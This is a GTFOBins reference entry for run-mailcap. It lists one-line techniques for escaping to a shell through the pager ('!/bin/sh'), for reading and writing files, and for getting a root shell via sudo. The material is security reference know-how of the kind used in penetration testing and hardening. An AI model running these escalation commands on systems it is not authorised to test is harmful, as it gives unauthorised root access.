GTFOBins.github.io/_gtfobins/run-mailcap.md
2018-11-19 14:04:01 +01:00

884 B

functions
shell file-read file-write sudo
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. run-mailcap --action=view /etc/hosts !/bin/sh
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. run-mailcap --action=view file_to_read
description code
The file must exist and be not empty. This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply. run-mailcap --action=edit file_to_read
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. sudo run-mailcap --action=view /etc/hosts !/bin/sh